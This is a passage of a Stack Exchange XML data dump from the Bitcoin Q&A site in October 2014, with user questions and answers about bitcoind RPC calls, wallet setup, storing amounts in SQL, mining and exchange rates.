Ways in which Bitcoin Dodged Some Cryptographic Bullets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-10-13T19:01:42.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31935" PostTypeId="2" ParentId="25420" CreationDate="2014-10-13T22:04:28.683" Score="0" Body="&lt;p&gt;to answer the original question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getrawmempool true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will pass &quot;true&quot; to the verbose parameter (and will give you the verbose output)&lt;/p&gt;&#xA;" OwnerUserId="19354" LastActivityDate="2014-10-13T22:04:28.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31936" PostTypeId="2" ParentId="30049" CreationDate="2014-10-13T22:25:41.780" Score="0" Body="&lt;p&gt;For RPC you can do a raw transaction where you can specify which inputs to use.  First &lt;strong&gt;listunspent&lt;/strong&gt; then &lt;strong&gt;createrawtransaction&lt;/strong&gt;, then sign and transmit to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-13T22:25:41.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31937" PostTypeId="2" ParentId="31932" CreationDate="2014-10-14T00:17:44.630" Score="1" Body="&lt;p&gt;The problem with dropping an address from an HD wallet is that they are deterministic, so how do you change the determined sequence? The only way I see is creating a new HD wallet (a new sequence), transfer all your money there, and then denying the original affected one was yours (this may need coin mixing).&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-10-14T00:17:44.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31938" PostTypeId="2" ParentId="30499" CreationDate="2014-10-14T00:46:18.197" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://block.io/api/simple/php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block.io&lt;/a&gt; api supports accounts for similar usage.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;With Block.io, you can create wallet addresses for users inside your games, auction sites, stores, etc.&lt;/p&gt;&#xA;&lt;p&gt;To create a user's wallet on your account, create addresses for them using get_new_address. You should specify a sequence of labels for that user. For instance, if we wish to create a number of addresses for User A, we'd want to call get_new_address with label=userAx{address_number} as many times as wish to create a new address for User A.&lt;/p&gt;&#xA;&lt;p&gt;Once we have addresses for User A, we can query balances for their addresses, and send coins on the user's behalf.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19606" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-10-14T00:46:18.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31940" PostTypeId="1" CreationDate="2014-10-14T05:09:58.340" Score="4" ViewCount="288" Body="&lt;p&gt;I've been running into problems with a high-traffic hot wallet, where a single transaction would lock up any input for a block with the &lt;code&gt;spendzeroconfchange&lt;/code&gt; disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be safe for a service like Coinbase to use unconfirmed inputs on average transactions? Would I run into similar issues like MtGox did?&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2015-02-12T22:31:30.360" Title="How safe is sending out transactions using unconfirmed inputs for a service?" Tags="|transactions|bitcoind|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31942" PostTypeId="2" ParentId="4911" CreationDate="2014-10-14T06:16:18.710" Score="4" Body="&lt;p&gt;If you're into more of the programmatic side of Bitcoin check out &quot;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1449374042&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin&lt;/a&gt;&quot; coming out soon from O'Reily Media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the &quot;raw and unedited&quot; version for free, just search for it on Google. (it's legal and downloadable from O'Reily Media)&lt;/p&gt;&#xA;" OwnerUserId="20693" LastEditorUserId="13530" LastEditDate="2014-10-14T15:39:07.103" LastActivityDate="2014-10-14T15:39:07.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31944" PostTypeId="2" ParentId="31930" CreationDate="2014-10-14T08:15:51.403" Score="1" Body="&lt;p&gt;There's a &lt;a href=&quot;https://en.bitcoin.it/wiki/How_To_Buy_Bitcoins_With_Your_Credit_Card&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; page about buying Bitcoins with a credit card. It seems the ideal options for you would be &lt;a href=&quot;https://brawker.com/&quot; rel=&quot;nofollow&quot;&gt;Brawker&lt;/a&gt; or &lt;a href=&quot;https://www.meetpays.com/&quot; rel=&quot;nofollow&quot;&gt;MeetPays&lt;/a&gt;. But whatever method you decide to use, don't forget that Bitcoin is not anonymous (by default), that's a common myth.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-14T08:15:51.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31945" PostTypeId="1" CreationDate="2014-10-14T09:09:58.983" Score="1" ViewCount="693" Body="&lt;p&gt;I'm trying to build safe transaction-confirmation app and need to synchronize new not-processed transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I monitor address &lt;strong&gt;A&lt;/strong&gt; and have processed last transaction &lt;strong&gt;B&lt;/strong&gt;,&#xA;how can I ask blockchain &quot;give me all new transactions for address &lt;strong&gt;A&lt;/strong&gt;, which occurred after transaction &lt;strong&gt;B&lt;/strong&gt;&quot;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or the only way here is to use&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/address/[***]?format=json &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;url with &lt;strong&gt;offset&lt;/strong&gt; and &lt;strong&gt;limit&lt;/strong&gt; options ? Thanks&lt;/p&gt;&#xA;" OwnerUserId="19610" LastEditorUserId="19610" LastEditDate="2014-10-14T12:46:50.167" LastActivityDate="2015-01-12T16:25:34.947" Title="Blockchain.info, How to receive new transactions (not websocket)" Tags="|transactions|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31946" PostTypeId="1" AcceptedAnswerId="31947" CreationDate="2014-10-14T10:27:08.150" Score="5" ViewCount="2738" Body="&lt;p&gt;What's the decimal storage requirement in ms sql for bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fasab.gov/accounting-standards/authoritative-source-of-gaap/&quot; rel=&quot;nofollow&quot;&gt;GAAP&lt;/a&gt; standard quotes decimal (13, 4) for money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is decimal (13,8) preferred for bitcoin or something else?&lt;/p&gt;&#xA;" OwnerUserId="6539" LastEditorUserId="16" LastEditDate="2014-10-14T16:44:31.743" LastActivityDate="2017-12-04T15:30:23.657" Title="bitcoin mssql decimal/money storage size" Tags="|transactions|storage|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31947" PostTypeId="2" ParentId="31946" CreationDate="2014-10-14T12:36:25.610" Score="3" Body="&lt;p&gt;Since Bitcoin's precision is 8 decimal numbers, decimal (13, 4) won't cut it. So you better go with (13, 8).&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-14T12:36:25.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31948" PostTypeId="2" ParentId="31946" CreationDate="2014-10-14T13:09:59.567" Score="4" Body="&lt;p&gt;You need at least &lt;code&gt;DECIMAL(16,8)&lt;/code&gt; to store any valid Bitcoin amount (i.e. up to just over 20 Million Bitcoin, requiring 8 digits to the left of the decimal point) precisely (i.e. down to a single Satoshi, requiring 8 digits to the right of the decimal point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depening on your application and how you (or your collaborators) think of Bitcoin amounts, it may be preferable to process them in Satoshi, enabling you to treat them as integers (&lt;code&gt;BIGINT&lt;/code&gt; would then be the SQL datatype). Of course, then you have traded the dangers around non-integer handling for those associated with large integer handling.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-10-14T13:09:59.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31949" PostTypeId="2" ParentId="31945" CreationDate="2014-10-14T13:19:57.480" Score="1" Body="&lt;p&gt;Blockchain.info's API doesn't operate like a stream like the Twitter feed.  You can't page back and forth through the API like that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For taking payments, it's best to generate a fresh address to receive the coins than to reuse an address over and over.  It becomes too much trouble to keep track of where/who each coin came from outside of bitcoin (the software running the wallet).  The software does it automatically if you just let it by using a new address for each incoming transaction.  Save the unique receiving address in the db and when it receives funds, you can easily find the order to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try their &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;Receive Payments API&lt;/a&gt;.  They automate much of the process and post a callback to you once the funds are received.&lt;/p&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-14T13:19:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31950" PostTypeId="2" ParentId="3262" CreationDate="2014-10-14T13:56:37.183" Score="1" Body="&lt;p&gt;Bitcoin is multiple things: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A new currency, like the dollar or euro. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A payment system to pay with this currency. Just like there's Paypal or credit cards or bank transactions to transfer dollars or euros, there's the Bitcoin software and network to transfer bitcoins. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An innovative technology that allows people to gain consensus without depending on a central party, and without requiring trust. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The future of money. Or actually, the future of any form of asset that can be represented by information, such as: money, voting rights, stock / company shares, land or real estate ownership, temporary rental car access, you name it.&lt;br&gt;Note that all these examples are already digital today, except now they're recorded and administered by some central authority (e.g. banks, notary services, government registers, etc). Bitcoin technology allows for a safe, decentralized, efficient, free alternative that no longer depends on central authorities. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could also see Bitcoin as 'digital cash' or 'gold 2.0'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand the basic workings, consider Bitcoin to be a global, public ledger. There's only transactions in this ledger, that transfer amounts of imaginary units from one account to another. This is the same as current banking, except with Bitcoin, there is no bank, company, authority, administrator, or other central party that manages the ledger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way Bitcoin is set up, this ledger is stored, maintained, verified and distributed throughout all bitcoin users over the planet. Therefore when using Bitcoin, nobody can tamper with the database, we don't have to trust anyone, we don't depend on anyone, and nobody can enforce arbitrary rules or impose restrictions. Its security and trust is purely based on cryptography and transparency, rather than the supposedly benevolent intentions of bankers and authorities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally: a worldwide, free, open, transparent system to transfer value, where we no longer depend on 3rd parties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR = Bitcoin can do for money, what the internet and email have done for information and communication.&lt;/strong&gt; In my opinion, this is one of the greatest technological inventions since the coming of the internet, and I think it will truly revolutionize the world as we know it.&lt;/p&gt;&#xA;" OwnerUserId="12520" LastActivityDate="2014-10-14T13:56:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31951" PostTypeId="1" CreationDate="2014-10-14T14:06:50.770" Score="0" ViewCount="60" Body="&lt;p&gt;I want use Bitcoin to make a purchase from a private seller in another country. The good which I want to purchase is priced in Euros, so I need a Bitcoin/Euro conversion rate which both of us must accept for the moment when the Bitcoin is transferred. &lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2014-12-13T18:50:38.067" Title="Where does one obtain the most widely accepted Bitcoin/Euro exchange rate?" Tags="|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31952" PostTypeId="2" ParentId="31951" CreationDate="2014-10-14T15:50:35.237" Score="0" Body="&lt;p&gt;It would be reasonable to take a weighted average of all major exchanges, such as &lt;a href=&quot;https://bitcoinaverage.com/markets#EUR&quot; rel=&quot;nofollow&quot;&gt;BitcoinAverage.com&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="12520" LastActivityDate="2014-10-14T15:50:35.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31953" PostTypeId="2" ParentId="31946" CreationDate="2014-10-14T15:53:47.460" Score="1" Body="&lt;p&gt;I would take a different approach and simply use an 8-byte integer value.  This is because all bitcoin transaction values are stored as integers and since &lt;strike&gt;float&lt;/strike&gt; decimal math can vary from architecture to architecture, I'd recommend using integer values whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has a fixed decimal place of 8-digits.  If you want to display this information to an end-user just format the integer value to represent the appropriate number of decimals, when the value needs to be displayed.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2017-12-04T15:30:23.657" LastActivityDate="2017-12-04T15:30:23.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31954" PostTypeId="1" AcceptedAnswerId="31957" CreationDate="2014-10-14T18:14:48.933" Score="1" ViewCount="227" Body="&lt;p&gt;I will explain my question through an example on the bitcoin testnet network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at the output at index 0 of this transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2a50bcc2ec49573ef816a95781b802766910f8690968236cf451cfc32defc491&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can tell through the bitcoin testnet block explorer that it was spent &lt;a href=&quot;http://blockexplorer.com/testnet/tx/7b1b3788ae4251d164031f899ba4e81f6371f70c24e71d38b03d44292ada9c81#i74294159&quot; rel=&quot;nofollow&quot;&gt;in this transaction&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7b1b3788ae4251d164031f899ba4e81f6371f70c24e71d38b03d44292ada9c81&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use the bitcoind RPC methods to determine that it was 7b1b3... that was the transaction that spent this transaction output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-14T19:43:07.443" Title="Determine which transaction spent a Transaction Output" Tags="|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31955" PostTypeId="1" AcceptedAnswerId="37540" CreationDate="2014-10-14T18:56:04.670" Score="0" ViewCount="135" Body="&lt;p&gt;Is there a place that where I can find out how fast the NXT blockchian is growing? I'm curious because its this year (2014) where a bunch of nxt features came into the scene and was wondering how one would monitor the growth size of the blockchain from month to month. This can give me a good idea of nxt usage and adoption. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-23T06:45:28.253" Title="How fast is the NXT blockchain growing in 2014?" Tags="|blockchain|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31957" PostTypeId="2" ParentId="31954" CreationDate="2014-10-14T19:43:07.443" Score="2" Body="&lt;p&gt;Bitcoind does not track this information as it is not necessary for normal validation, so no, this is not easily possible.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-10-14T19:43:07.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31958" PostTypeId="1" AcceptedAnswerId="31960" CreationDate="2014-10-14T21:35:41.283" Score="4" ViewCount="745" Body="&lt;p&gt;I searched the internet to find out who (or what) was taking advantage of the result of mining but I couldn't find a clear and complete answer (and sources). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Bitcoin miners decrypt hashes, but what is that useful for? I guess there is something behind that, otherwise why should we need to decrypt hashes, why should we need a huge power 24/7? Is that really ethical to mine Bitcoins ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not very familiar with virtual money, I may have missed something!&lt;/p&gt;&#xA;" OwnerUserId="20700" LastEditorUserId="5406" LastEditDate="2016-02-08T13:11:23.210" LastActivityDate="2016-02-08T13:11:23.210" Title="What / Who is the Bitcoin mining-power useful to?" Tags="|mining-theory|" AnswerCount="2" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31960" PostTypeId="2" ParentId="31958" CreationDate="2014-10-14T22:13:34.110" Score="4" Body="&lt;p&gt;It is useful to the currency itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin tries to be a democratic currency rather than being controlled by a central authority. Democracy means that the majority of people rule by their vote. This is a concept that &lt;strong&gt;might&lt;/strong&gt; work in real life (all irony intended), but it's hard to pull off on the Internet since we can't simply prevent one real person from creating thousands of virtual identities and using them to make his vote louder (so called &lt;a href=&quot;https://en.wikipedia.org/wiki/Sybil_attack&quot; rel=&quot;nofollow&quot;&gt;Sybil attack&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin solves this via a concept known as &lt;strong&gt;proof-of-work&lt;/strong&gt;, which requires some non-trivial work to be done for every vote to be registered. While it is not a perfect solution (surely one can manage to do twice as much work as somebody less capable), it has an ambition to prevent all serious scams, making it infeasible for a single entity to overpower (outvote) the crowd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is the process of voting, and miners are the voters. Every voter has to find a reverse hash according to some very specific rules, which is considered a hard work. All the others can verify his solution easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this does not describe the problem entirely (and it was not my goal), but it should give you the idea. If interested in the technical details, please see the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original paper&lt;/a&gt; or read some articles explaining Bitcoin in-depth. There's plenty of them out there, but be prepared to spend a few hours going through the stuff.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-14T22:13:34.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31961" PostTypeId="2" ParentId="31958" CreationDate="2014-10-14T22:47:59.280" Score="4" Body="&lt;p&gt;Nothing is being &quot;decrypted&quot; (regardless of the fact that &quot;decrypting hashes&quot; is nonsense by itself). In fact, nothing about Bitcoin is encrypted whatsoever. Cryptography, yes (involving hashes and digital signatures). Encryption, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And who is taking advantage of all this mining effort? All Bitcoin users, that's who! Because the more mining power in the network, the safer Bitcoin becomes. &lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-14T22:47:59.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31962" PostTypeId="2" ParentId="31926" CreationDate="2014-10-14T22:58:51.317" Score="1" Body="&lt;p&gt;You should not store your private keys on a webserver, unless you actually need to spend the bitcoins from that very same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, to receive money on an address, check its balance, etc, you only need the address. This is much safer because that way nobody could steal your money, even if they get full access to your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do it is to import all private keys in a new, separate wallet (default Bitcoin Core install would do), password-protect the wallet with a long, random, gibberish password and then discard the password (of course make sure you also still have the private keys in the original wallet). This essentially creates a &quot;read only&quot; wallet, which would be safe to put on your webserver, and allows for all functionality on your addresses, except spending the money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually spend the money, you use the original wallet that doesn't need to be on your webserver.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-14T22:58:51.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31963" PostTypeId="2" ParentId="31916" CreationDate="2014-10-14T23:15:36.257" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are they trully 100% random (generated by hardware) or is it pseudo-random (generated by software)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, no, they are 0% random. There is no randomness involved in the mining process whatsoever. The only part in Bitcoin that involves a random generator is the creation of private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &lt;strong&gt;unpredictability&lt;/strong&gt; of block hashes (which may appear to be some sort of random), this is because of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Avalanche_effect&quot; rel=&quot;nofollow&quot;&gt;avalanche effect&lt;/a&gt; that is typical for cryptographic hash functions. From a practical point of view, you can consider block hashes to be random.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can i rely on it or any other blockchain data to make a 100% trustable raffle?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The block hashes, yes (although note that they're not perfectly 256-bit distributed, the first n bits are zero). Other blockchain data, probably not, as this can be influenced by others (e.g. miners deciding what transactions to include). &lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-14T23:15:36.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31964" PostTypeId="1" CreationDate="2014-10-14T23:38:59.020" Score="1" ViewCount="12912" Body="&lt;p&gt;If you own a small amount of Bitcoin (say,$10) does one have to &quot;invest&quot; it somewhere for it's value to change or will the $10 fluctuate by just sitting in one's wallet and one can see the value fluctuate by checking the wallet from time to time?&lt;/p&gt;&#xA;" OwnerUserId="19228" LastActivityDate="2017-05-20T12:35:36.687" Title="Does the value of my Bitcoin fluctuate automatically?" Tags="|value|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31965" PostTypeId="2" ParentId="31964" CreationDate="2014-10-15T00:03:03.457" Score="6" Body="&lt;p&gt;Whether it fluctuates or not depends on how you express value. If you happen to be one of them American folks, who use dollars to express value, then a fixed amount of money in other currencies (such as euros or bitcoins) will fluctuate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But similarly, a $10 dollar bill will fluctuate in value, if you express value in euros or bitcoins (basically, that is if you live anywhere on the planet except the US).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all a matter of perspective. &lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-15T00:03:03.457" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="31966" PostTypeId="1" CreationDate="2014-10-15T00:43:36.460" Score="0" ViewCount="137" Body="&lt;p&gt;Where should I go to start a wallet? I have downloaded the TOR browser and got online at WEUSECOINS.COM.  Is there another site, perhaps one with more information for beginners, that I should be using?&lt;/p&gt;&#xA;" OwnerUserId="20704" LastEditorUserId="5464" LastEditDate="2014-10-15T08:48:29.607" LastActivityDate="2014-10-15T08:48:29.607" Title="How to get started with a Bitcoin wallet" Tags="|blockchain.info|" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-15T19:35:52.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="31967" PostTypeId="2" ParentId="31964" CreationDate="2014-10-15T02:21:19.360" Score="1" Body="&lt;p&gt;Bitcoin value is analogous to gold or foreign currencies. If you buy a gold bar with US dollars and wait a year, and if the value of gold increases during that time, then when you sell that gold bar, you will get more US dollars.&#xA;The interesting thing about bitcoin is that is was discovered suddenly and the demand increased because of the internet, so the value increased faster than most other assets we are familiar with.&lt;/p&gt;&#xA;" OwnerUserId="20709" LastActivityDate="2014-10-15T02:21:19.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31969" PostTypeId="2" ParentId="31966" CreationDate="2014-10-15T06:22:40.803" Score="2" Body="&lt;p&gt;No need for Tor at all (unless you intend to buy drugs or weapons, but in that case you're better off using cash dollars or euros).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend to read up on Bitcoin to understand what you're doing. Then you can find an &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;overview of wallets on bitcoin.org&lt;/a&gt;, but for a quick start, the fastest way to get started is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Desktop (Windows/Mac/Linux) : &lt;a href=&quot;https://electrum.org&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; or &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Android : &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; by Andreas Schildbach&lt;/li&gt;&#xA;&lt;li&gt;iOS : &lt;a href=&quot;https://itunes.apple.com/app/breadwallet/id885251393&quot; rel=&quot;nofollow&quot;&gt;Bread Wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Windows phone : Get an Android phone instead&lt;/li&gt;&#xA;&lt;li&gt;Web wallet, accessible anywhere : &lt;a href=&quot;https://coinpunk.com/&quot; rel=&quot;nofollow&quot;&gt;Coinpunk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are all fairly easy to use, and don't bother you with all kinds of advanced options.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-15T06:22:40.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31970" PostTypeId="2" ParentId="31930" CreationDate="2014-10-15T06:32:16.900" Score="0" Body="&lt;p&gt;Bank accounts, or any accounts or registration or identification whatsoever, are by No means connected to Bitcoin in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;connected to bank account&quot; stuff is only where fiat money ($ or €) is involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason you can't pay with credit card (which is also connected to your bank account by the way) is that credit card payments can be reversed even months after the purchase, whereas Bitcoin transactions cannot. Same problem with paypal. This makes credit cards and paypal extremely risky payment options for merchants or sellers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual procedure is: you buy bitcoins online, usually by sending $ or € to an exchange, convert it to ฿ (at this point it's still in some account at the exchange that's connected to you). Get the ฿ out (to your own wallet), mix it through some other wallets if you're really paranoid (really not necessary, just saying) and now nothing is connected to those bitcoins at all.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-15T06:32:16.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31971" PostTypeId="2" ParentId="30662" CreationDate="2014-10-15T07:18:22.863" Score="0" Body="&lt;p&gt;Tyler gave the most secure answer, but what I ended up deciding to do is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a wallet and save the backup&lt;/li&gt;&#xA;&lt;li&gt;Re-encrypt the backup in an archive (I used 7zip) &lt;strong&gt;Update&lt;/strong&gt;: 7zip has a couple security issues, and I can't recommend using it. It can leave unencrypted copies of encrypted files in temporary folders, and certain ways of adding a file into an encrypted directory can add it unencrypted and decrypt your filenames. The 7z protocol is great, but 7zip itself is shitty at encrypting stuff.&lt;/li&gt;&#xA;&lt;li&gt;Delete the backup file with &lt;a href=&quot;http://eraser.heidi.ie/&quot; rel=&quot;nofollow&quot;&gt;Eraser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete the 2 armory wallet files with Eraser (located in C:\Users\\AppData\Roaming\Armory on windows). One of the files will be named exactly the same thing as your backup, the other will be identical plus a &quot;_backup&quot; at the end of the filename. Make sure you don't delete the files for your other wallets.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Whenever you need to use the wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Open the archive and copy out the wallet&#xA;B. Restore the wallet in Armory&#xA;C. Use it, and once you're done..&#xA;D. Delete the copied out wallet with Eraser, and the 2 armory files as in steps 3 and 4 above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this isn't as safe as Tyler's suggestion of using Tails, since you are copying something to the filesystem, and using a machine that maybe has some kind of virus. I opted to choose convenience over security in that regard here.&lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5254" LastEditDate="2014-10-16T01:23:22.497" LastActivityDate="2014-10-16T01:23:22.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31972" PostTypeId="1" CreationDate="2014-10-15T08:24:22.350" Score="15" ViewCount="13615" Body="&lt;p&gt;I want to add some additional information to my specific transaction, so that I can send the additional information to blockchain.&lt;/p&gt;&#xA;" OwnerUserId="20712" LastEditorUserId="5406" LastEditDate="2017-04-24T09:24:46.900" LastActivityDate="2019-03-22T09:48:44.733" Title="How to add additional information to transaction?" Tags="|bitcoind|op-return|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
